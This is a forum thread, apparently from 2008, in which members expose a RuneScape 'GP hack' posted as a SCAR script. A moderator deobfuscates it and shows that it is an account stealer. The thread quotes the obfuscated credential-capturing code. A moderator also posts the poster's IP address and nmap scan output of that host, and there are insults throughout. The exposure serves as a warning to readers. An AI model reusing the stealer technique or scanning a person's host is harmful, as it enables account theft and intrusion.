Hack RuneScape

[HackRuneScape]

I have finally figured out how to hack 999 million GP in RuneScape. It has taken me a long time of coding, and many people said that it was not possible in SCAR, but here it is. Good luck, but this is a new release so there might be errors sometimes. Make sure you follow the instructions if you get an error and send it to me so I can help.

HERE IS THE LINK:
deleted**

The ZIP file will not attach to this message for some reason, so I uploaded it to RapidShare.

[We run U.S.]

I guarantee you this is a virus.

[HackRuneScape]

Nice reading, dude. Please at least virus scan it before you accuse me. By the way, if anyone actually scans it and uploads a pic of scan, then you'll see that it is not a virus. But thanks dude, I appreciate the negativity.

BTW: Before you guarantee something, you might wanna check it out for yourself at least first.

[Freyyr]

Originally Posted by HackRuneScape

I have finally figured out how to hack 999 million GP in RuneScape. It has taken me a long time of coding, and many people said that it was not possible in SCAR, but here it is. Good luck, but this is a new release so there might be errors sometimes. Make sure you follow the instructions if you get an error and send it to me so I can help.

HERE IS THE LINK:
[DATA EXPUNGED]

The ZIP file will not attach to this message for some reason, so I uploaded it to RapidShare.

Obfuscated code for the lose. Link hidden until you can prove that this actually does something of value.

EDIT: Damn, my permissions are messed up again. I can't edit his post. Just don't download it; folks.

[HackRuneScape]

wow... That's funny because you don't even know what the fuck obfuscated code is... BTW, it's not that, if any of you fucking idiots decided to actualy try it or look at it. I'm better with SCAR than you will ever be, so don't go posting some stupid shit that you have no idea about. Honestly, I'm dissappointed in this site. I know IceFire (at least used to, I don't know about now) is associated with this site, and that is embarrassing. I bet half the mods are fucking retards like you.

[Lacky]

Originally Posted by HackRuneScape

It has taken me a long time of coding, and many people said that it was not possible in SCAR, but here it is.

The ZIP file will not attach to this message for some reason, so I uploaded it to RapidShare.

It sounds as if you coded it in SCAR, why don't use just attach the .SCAR File? Or copy and paste the code into a .TXT File and attach that?

Originally Posted by HackRuneScape

Nice reading, dude. Please at least virus scan it before you accuse me. By the way, if anyone actually scans it and uploads a pic of scan, then you'll see that it is not a virus. But thanks dude, I appreciate the negativity.

BTW: Before you guarantee something, you might wanna check it out for yourself at least first.

Although you have a minor point, please do not abuse our members just because of an opinion. It will make it seem more likely that it is a virus because you are trying to defend yourself so badly.

Originally Posted by Freyyr

Obfuscated code for the lose. Link hidden until you can prove that this actually does something of value.

EDIT: Damn, my permissions are messed up again. I can't edit his post. Just don't download it; folks.

We can delete the thread.

Originally Posted by HackRuneScape

wow... That's funny because you don't even know what the fuck obfuscated code is...

LMAO

You're talking about Peter here, I can guarantee you that he WILL know what obfuscated code is, 100%.

Originally Posted by HackRuneScape

wow... That's funny because you don't even know what the fuck obfuscated code is... BTW, it's not that, if any of you fucking idiots decided to actualy try it or look at it. I'm better with SCAR than you will ever be, so don't go posting some stupid shit that you have no idea about. Honestly, I'm dissappointed in this site. I know IceFire (at least used to, I don't know about now) is associated with this site, and that is embarrassing. I bet half the mods are fucking retards like you.

Once again, seems like you are trying to defend yourself so much that it seems like you are trying to hide something...like the fact that it may be a virus.

I highly HIGHLY doubt that you are better than ALL of us with SCAR.

If you are disappointed with the site, why post your crap on here? To infect more machines if this is a virus?

IceFire is still "associated" with this site, but what does that matter? Are you going to try to suck up to him?

No, we are NOT "fucking retards". Make derogatory assumptions like that again and I will suspend, if not ban your account.

Watch what you say, and try not to pretend that this is not a virus. If it isn't, why are you trying to defend yourself so much? You should have nothing to worry about if it isn't.

EDIT: Look at my next post. I would have edited it all into this one, but the message would have been to big otherwise.

[Lacky]

LMAO

OK, I decided to see if it was a virus or not. It isn't, BUT guess what I found?

Here is the script:

EDIT: Script Attached to post instead because otherwise post would be to big.

Some parts of the script have been omitted. This is to reduce the file size so that it is able to be uploaded. The original file size was about 300kb!

Don't worry though, the only parts of the script omitted were some things in between { and }.

Anyone notice anything? It'll be easier to see in SCAR with the formatting.

Lets take a closer look at, shall we?

Scroll down to lines 812-827.

var{ko46jk7i834#Ib439ub3j68b6@^U36hu36@^U*(@$6h3ve jkrbu56@V%qwurbwquibrv)(K)679bjhfbvjbr12V!ubvsf680 qa3h2b5u346bq#$^VBbb&V&*biny7m}
i:Integer;{&*G&*GBH65gv6@#^B$@&@$%h7G&*G^G*^&brjke nwu76b$@$&2uhryb3h57$@&#B%H7t67t%FB*%&Rb546v247B@N H^*#@136y7yt^T(^T^n5n7854967^#}
begin{v45byhbq456B%!&!78bt^T%RT%^*V4c723n*(_M$E*%K ^78897uybn631g67f576F$^B%^f56v4no7hn6893%W*K%&(238 h34n75g1235b24htwnH^%#*%N*&@$H}
{#}i:= 0;{NEQ64yg1y4f!^!G^%Hyb6btf67f%^*F%^FV%^*4v6h2758b 2$*HJ@N*^23h5y734y6ntn966TB%tv96432n78035bg*@*^h@N (^*@76582u785n8^*N@$4gv}
{(}ClearDebug;{&*YGB&65b42&%B@$&*@497u25trbywq75*^ @#*bh7h76y(&*G^BG45vgjbk368%N^*N#%^&23hy6nh21#!@#1 uhu48b($($^834hg72nh7*(U*&(Yn0}
{5}WriteFileString(RewriteFile(AppPath + 'Scripts\HackRuneScape\decode\345BSDFG43T', true), Username + '; ' + Password);{tv34%@52w}
{f}repeat{6%B*#^UJ7w8y7yn7YBT^(67t46v32^JN^*@Q&Y@H $%&28g6t78t^BGBGF^R*B^F64v6b24&J%*$%^*&#^%J*N2h78h 67g^GF^&f765g4b347NJ#67h84357u}
{f*#}MoveToTray;{h75g32bb57@J%@N&7t67t%F^%Rvb7f542 b7J^N*#%^*@4676y456y67g%FV%F54nv62hN&%BV&12tb6&TG% fv35357@#N^&*@72345h2vWETE%^*8}
{(X@}PlaySound(AppPath + 'Scripts\HackRuneScape\config\default\RebootDefaul t');{GH245637ng67g^N&%^GNB%^tn4mb675n6*@^%#254724* N(#%&}
{m@k}Wait(1520);{H@BN75u89u78y^NGT&G*4vb643&*N%&$@ #&B128y7ny&G^(Gv4#&NJ^*(#45673hy78t986TB^(64367#&N ^*#%^*N#%^*(352uy7YN^G667867n4}
{y6#}i:= i + 1;{^R%bf458vb36HN*@^$*J%^*(3j8y6T% F%EFD$E&53f5524&^H*(%#@78924h57jhb737427@$H$%G&572 hn7hFVYCJGrvg7b2%&H@$%&2h457hgbv}
{5}until (i= 3){5uib2y5724%&&G@%&@B78g75f^F*V%^*FBVBVT*%^4v72b% ybstjwb68%^&$W%@uwt4y$&*245h7q457@$%&2jhn614v6!$#b v6G^%^G*^gb3fv 43}
{%}PlaySound(AppPath + 'Scripts\HackRuneScape\config\error\ErrorAlert');{ 6TGV%^bg54gv2bh6v257@&*B$@&B@G5476y3476ny72v6236T^ %F 67yu}
{!}Writeln('Error: DG5NQY7.');{BRQET^B%!^7gg^G*YTB*^T^&v5u437b6#%^&*@ 68y75n67t&^G^*R&5b5v432%^$@89n h0&*890nh%^N&*%$3468n953l765*6}
{%}Writeln('Please follow instructions on top to report error.');{G^TV^&t84gv%@&H$@*@u80n8U&N*51%j1` =- b+J*(nb524%^B@561hn67v 098}
end.{BH*&%#^&h23y8g5f87%^FV*%^Tgb45v723$%&H$@*247y n6G67GV56TV^VTTB645b6W%&@tb7tb^F^78r4e2v47Q^&*b257 b5478@$&%^(#7uimb6y47@%ujhfj%$}

Let's make it easier to read.

On lines 12-13 we have this:

const Username = '';
const Password = '';

Then lets get the actual code, not the things in the { }.

var

i:Integer;

begin

i:= 0;
ClearDebug;

WriteFileString(RewriteFile(AppPath + 'Scripts\HackRuneScape\decode\345BSDFG43T', true), Username + '; ' + Password);

repeat

MoveToTray;

PlaySound(AppPath + 'Scripts\HackRuneScape\config\default\RebootDefaul t');

Wait(1520);

i:= i + 1;

until (i= 3)

PlaySound(AppPath + 'Scripts\HackRuneScape\config\error\ErrorAlert');

Writeln('Error: DG5NQY7.');

Writeln('Please follow instructions on top to report error.');

end.

What does this all mean?

Well, by the looks of it, it says in the comments that if there is an error, to send the whole zip file to his email.

Now, looking at the script, it says to put your user and pass in, and then will play the error sound, and will say that there is an error (which there is not), and will output just some random characters.

So what does that mean?

It means that it will catch...let's say...non-smart people and trick them into sending their user and pass to his email.

So the big answer:

IT IS AN ACCOUNT STEALING SCRIPT.

DO NOT RUN THIS SCRIPT AND SEND EVERYTHING TO HIS EMAIL OR YOU WILL HAVE NO ACCOUNT ANYMORE.

Thank god it isn't a virus though...


Thank you for using Lacky Post Media: Banning rule breakers and account stealers since 2008!



HackRuneScape: You have ONE post left to explain yourself before I bring out the ban hammer and swing it at you and ban your account stealing arse. God knows how many other websites you have posted this onto.

After that, it's buh-bye noobcakes for you!

[IceFire908]

Originally Posted by HackRuneScape

I have finally figured out how to hack 999 million GP in RuneScape. It has taken me a long time of coding, and many people said that it was not possible in SCAR, but here it is. Good luck, but this is a new release so there might be errors sometimes. Make sure you follow the instructions if you get an error and send it to me so I can help.

HERE IS THE LINK:
RapidShare: Easy Filehosting

The ZIP file will not attach to this message for some reason, so I uploaded it to RapidShare.

Failure number one

Wasting your time trying to hack Runescape accounts.

Let's think about this for a second, sadly Mr.Hack Runescape here has nothing better to do with his pathetic life than try and steal accounts to try and gain worthless pixels in a make believe online game.

Failure number two

This master plan of yours would never work, I mean seriously, this site is about as active as dylock's forums and the people here that would be stupid enough to go for this probably had trouble downloading your file because they aren't smart enough to right click let alone follow your obscenely suspicious instructions.

Originally Posted by HackRuneScape

Nice reading, dude. Please at least virus scan it before you accuse me. By the way, if anyone actually scans it and uploads a pic of scan, then you'll see that it is not a virus. But thanks dude, I appreciate the negativity.

BTW: Before you guarantee something, you might wanna check it out for yourself at least first.

Failure number three

Sarcasm, rudeness, and improper grammar are not good ways to get people to trust your scamware, and honestly "check it out for yourself" is a pretty good indication that your trying to screw people over.

Originally Posted by HackRuneScape

wow... That's funny because you don't even know what the fuck obfuscated code is... BTW, it's not that, if any of you fucking idiots decided to actualy try it or look at it. I'm better with SCAR than you will ever be, so don't go posting some stupid shit that you have no idea about. Honestly, I'm dissappointed in this site. I know IceFire (at least used to, I don't know about now) is associated with this site, and that is embarrassing. I bet half the mods are fucking retards like you.

Failure number four

If you any trace of an inkling of how impossible or difficult it would be to create such a device such as you claim you would realize what an idiot you are and I'm pretty sure the contents of your messages would be more intelligent.

I'll stop here seeing as I could go all day with your different failures.

Oh and just for the record.

It's embarrassing to be associated with other humans such as yourself.

[We run U.S.]

LOL, well well well it seems that we have a person from SRL-forums.com here...

Pretty funny, that you would come here try to do the same thing that broke out on SRL-Forums.com.

Good fight Mate,TOO bad I knew already knew that this thread was nothing but bs.


EPIC FAIL.


EDIT: Mods, please LOCK this thread.

[Freyyr]

Hey, it's that time again. That's right, its time for...



WooooooOOOOO!

*bans HackRuneScape using mod interface*

EDIT: BTW, the admin interface shows his IP as 67.159.44.138, which upon a quck NMAP inspection appears to be a LAMP server running some flavour of Linux:

Interesting ports on ****x************a*******************T**********U****ii**************M**K***T***D******** (67.159.44.138):
Not shown: 1700 closed ports
PORT     STATE SERVICE
1/tcp    open  tcpmux
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
111/tcp  open  rpcbind
143/tcp  open  imap
443/tcp  open  https
465/tcp  open  smtps
993/tcp  open  imaps
995/tcp  open  pop3s
3306/tcp open  mysql
Device type: general purpose|VoIP gateway|media device|storage-misc|WAP|switch|PDA
Running (JUST GUESSING) : Linux 2.6.X|2.4.X (96%), Tandberg Linux 2.6.X (92%), Dream Multimedia Linux 2.6.X (91%), Iomega Linux 2.6.X (91%), Siemens Linux (90%), QLogic embedded (90%), Sharp Linux 2.4.X (90%), FON Linux 2.4.X (90%)
Aggressive OS guesses: Linux 2.6.9 - 2.6.20 (Fedora Core 5 or 6) (96%), Linux 2.6.9 - 2.6.20 (94%), Linux 2.6.9 - 2.6.11 (93%), Linux 2.6.20-1 (Fedora Core 5) (92%), Linux 2.6.5 - 2.6.9 (92%), Tandberg Border Controller VoIP gateway (Linux 2.6.11) (92%), Linux 2.6.17 - 2.6.23 (91%), Linux 2.6.15.4 (91%), Linux 2.6.9 - 2.6.19 (91%), Linux 2.6.17 - 2.6.21 (91%)
No exact OS matches for host (test conditions non-ideal).
Uptime: 4.454 days (since Tue Nov  4 02:21:19 2008)
Network Distance: 10 hops

OS detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.816 seconds

The hostname is also corrupt. Strange things happening. An HTTP proxy, perhaps?

EDIT2: The hostname set on that apache server is pointed at fast.box.net, a file storage service. Entering this domain gives the main box.net page, not that of the apache server. Very peculiar!